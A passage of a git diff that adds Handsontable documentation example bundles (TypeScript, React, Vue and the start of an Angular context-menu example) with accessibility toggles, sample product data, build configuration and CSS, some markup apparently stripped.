Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__react__example2.tsx.json new file mode 100644 index 00000000..85cf5b5c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessibility · Accessible data grid demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\ninterface Toggle {\n tabNavigation: boolean;\n navigableHeaders: boolean;\n renderAllRows: boolean;\n renderAllColumns: boolean;\n enterBeginsEditing: boolean;\n autoWrapRow: boolean;\n autoWrapCol: boolean;\n enterMoves: { col: number; row: number };\n changeToggleOptions: any;\n}\n\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst data: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = data.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Handsontable options\nconst hotOptions = {\n data,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst ExampleComponent = () => {\n const [toggleableOptions, setToggleableOptions] = useState>({\n tabNavigation: true,\n navigableHeaders: true,\n renderAllRows: false,\n renderAllColumns: false,\n enterBeginsEditing: true,\n autoWrapRow: true,\n autoWrapCol: true,\n headerClassName: 'htLeft',\n enterMoves: { col: 0, row: 1 },\n });\n\n return (\n
\n {/* DemoOptions component for changing Handsontable options */}\n \n\n \n\n {/* Handsontable component with dynamic options */}\n \n {/* Define HotColumns for the data */}\n \n \n \n \n \n \n \n \n \n
\n );\n};\n\n// Demo Options allows you to change the Handsontable options\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\nfunction DemoOptions({\n tabNavigation,\n navigableHeaders,\n renderAllRows,\n renderAllColumns,\n enterBeginsEditing,\n autoWrapRow,\n autoWrapCol,\n enterMoves,\n changeToggleOptions,\n}: Toggle) {\n // on checkbox change, update handsontable option\n const handleCheckboxChange = (checkboxName: string) => {\n switch (checkboxName) {\n case 'enable-tab-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n tabNavigation: !tabNavigation,\n }));\n\n break;\n case 'enable-header-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n navigableHeaders: !navigableHeaders,\n }));\n\n break;\n case 'enable-cell-virtualization':\n changeToggleOptions((existing: any) => ({\n ...existing,\n renderAllRows: !renderAllRows,\n renderAllColumns: !renderAllColumns,\n }));\n\n break;\n case 'enable-cell-enter-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterBeginsEditing: !enterBeginsEditing,\n }));\n\n break;\n case 'enable-arrow-rl-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapRow: !autoWrapRow,\n }));\n\n break;\n case 'enable-arrow-td-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapCol: !autoWrapCol,\n }));\n\n break;\n case 'enable-enter-focus-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterMoves: enterMoves.row !== 1 ? { col: 0, row: 1 } : { col: 0, row: 0 },\n }));\n\n break;\n default:\n break;\n }\n };\n\n return (\n <>\n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n \n \n \n \n \n \n
\n
\n \n );\n}\n\nexport default ExampleComponent;","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/react/example2.tsx","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__vue__example2.vue.json new file mode 100644 index 00000000..82dd8b55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessibility · Accessible data grid demo · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport \"./styles.css\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n}"},"docsPath":"guides/accessibility/accessibility/vue/example2.vue","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example3.ts.json new file mode 100644 index 00000000..1be2357b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__context-menu__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
